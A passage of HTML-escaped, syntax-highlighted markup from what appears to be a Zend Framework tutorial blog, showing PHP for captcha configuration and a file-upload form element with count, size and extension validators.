&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;captcha&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;Figlet&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;wordLen&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;timeout&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;300&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Checkbox&lt;/div&gt;
&lt;div&gt;
checkbox (or many checkboxes at once with multiCheckbox)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_File&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$element&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Form_Element_File&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;foo&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$element&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;setLabel&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;Upload an image:&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;setDestination&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;/var/www/upload&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// ensure only 1 file&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$element&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;addValidator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;Count&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// limit to 100K&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$element&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;addValidator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;Size&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;102400&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// only JPEG, PNG, and GIFs&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$element&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;addValidator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;Extension&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;jpg,png,gif&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$form&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;addElement&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$element&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;foo&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial;&quot;&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$form&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;setAttrib&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;enctype&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;multipart/form-data&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;//in controller
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$form&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&quot;Uh oh... validation error&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
